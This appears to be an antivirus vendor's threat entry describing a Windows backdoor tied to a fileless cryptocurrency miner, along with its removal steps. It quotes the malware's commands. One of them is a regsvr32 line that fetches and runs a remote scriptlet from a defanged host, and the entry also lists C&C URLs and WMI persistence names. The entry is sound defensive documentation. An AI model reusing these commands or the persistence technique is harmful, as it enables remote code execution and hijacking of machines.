Analysis by: Nikko Tamana
ALIASES:

FORSHARE

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Backdoor

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

This malware is linked to the discovery of fileless crytocurrency miner TROJ64_COINMINER.QO late August 2017.

This Backdoor executes commands from a remote malicious user, effectively compromising the affected system. However, as of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size: 83,459 bytes
File Type: DLL
Memory Resident: Yes
Initial Samples Received Date: 03 Aug 2017
Payload: Connects to URLs/IPs, Downloads files, Terminates processes

Backdoor Routine

This Backdoor executes the following commands from a remote malicious user:

  • Terminate running processes
  • Download and execute files

It connects to the following URL(s) to send and receive commands from a remote malicious user:

  • http://down.{BLOCKED}g.info:8888/ok.txt

However, as of this writing, the said sites are inaccessible.

Download Routine

This Backdoor saves the files it downloads using the following names:

  • %Windows%\debug\c.bat

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

NOTES:

This backdoor installs and executes script in WMI System Classes. The script is detected as JS_COINMINER.QO.

The script executes the following commands:

  • regsvr32 /s shell32.dll
  • regsvr32 /s WSHom.Ocx
  • regsvr32 /s scrrun.dll
  • regsvr32 /s c:\\Progra~1\\Common~1\\System\\Ado\\Msado15.dll
  • regsvr32 /s jscript.dll
  • regsvr32 /u /s /i:hxxp://js.mykings.top:280/v.sct scrobj.dll
  • rundll32.exe c:\\windows\\debug\\item.dat,ServiceMain aaaa

The script connects to the following C&C to obtain a checklist of processes to terminate: http://wmi.{BLOCKED}s.top:8888/kill.html

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 13.572.08
FIRST VSAPI PATTERN DATE: 04 Aug 2017
VSAPI OPR PATTERN File: 13.573.00
VSAPI OPR PATTERN Date: 05 Aug 2017

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Scan your computer with your Trend Micro product to clean files detected as BKDR_FORSHARE.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.

NOTES:

Deleting Malicious Script

To delete the malicious script created by this malware using WMI Command-line Tool:

  • Open a WMI command-line. To do this, click Start>Run, type WMIC in the text box provided, then press Enter.
  • Type the following on the command-line tool and delete the malicious event consumer: /namespace:\\root\subscription PATH __EventConsumer delete
  • Press Y and Enter when prompted to delete the following, press N and enter if other values are seen: \\{computer name}\\ROOT\subscription:ActiveScriptEventConsumer.Name="fuckyoumm2_consumer"
  • Type the following on the command-line tool and delete the event filter: /namespace:\\root\subscription PATH __EventFilter delete
  • Press Y and Enter when prompted to delete the following, press N and enter if other values are seen: \\{computer name}\\ROOT\subscription:__EventFilter.Name="fuckyoumm2_filter"
  • Type the following on the command-line tool and delete the event timer instruction: /namespace:\\root\subscription PATH __TimerInstruction delete
  • Press Y and Enter when prompted to delete the following, press N and enter if other values are seen: \\{computer name}\\ROOT\subscription:__TimerInstruction.TimerId="fuckyoumm2_itimer"
  • Type the following on the command-line tool and delete the FiltertoConsumerBinding: /namespace:\\root\subscription PATH __FilterToConsumerBinding delete
  • Press Y and Enter when prompted to delete the following, press N and enter if other values are seen: \\{computer name}\\ROOT\subscription:__FilterToConsumerBinding.Consumer="\\\\.\\root\\subscription:ActiveScriptEventConsumer.Name="fuckyoumm2_consumer"consumer\\.\root\subscription:__EventFilter.Name="fuckyoumm2_filter"filter /c
  • Type quit or exit to close the command-line tool.


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